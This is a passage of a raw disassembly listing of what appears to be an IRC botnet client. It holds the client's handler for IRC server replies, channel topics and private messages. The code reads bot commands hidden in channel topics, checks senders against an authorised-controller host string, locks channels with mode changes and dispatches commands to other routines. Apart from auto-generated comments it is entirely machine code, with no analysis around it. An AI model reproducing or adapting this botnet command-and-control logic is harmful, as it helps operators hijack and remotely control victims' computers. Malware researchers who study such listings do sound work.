[ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DB78 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EF18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41EE18 push offset dword_41DB88 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41F018 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41F018 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EF18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EF18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EF18 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EF18 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EF18 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41EA7C, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41EA7C, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DB10[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DB10[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DB10[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DB10[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DB10[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: sub_4167F1+2C9p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: sub_4167F1+E4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; 